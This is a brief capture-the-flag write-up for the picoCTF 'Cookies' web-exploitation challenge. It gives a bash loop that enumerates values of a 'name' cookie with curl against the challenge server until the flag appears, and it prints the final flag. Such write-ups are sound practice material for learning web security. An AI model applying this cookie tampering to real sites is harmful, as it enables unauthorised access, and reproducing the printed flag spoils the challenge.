Cookies [picoCTF]

Category : Web Exploitation

Description

Who doesn’t love cookies? Try to figure out the best one. http://mercury.picoctf.net:27177/

Solution

when we visit the website , we get this :

seems like if we change the cookie “name” value , we get different result

all we can can do is just iterate through number of cookies to find the flag :
a simple bash script would be just fine enough to solve this challenge :

for x in `seq 1 30`; do
curl http://mercury.picoctf.net:27177/check -s --cookie "name=$x" | egrep -o 'picoCTF.*}'
done

final flag : picoCTF{3v3ry1_lov3s_c00k135_064663bbe}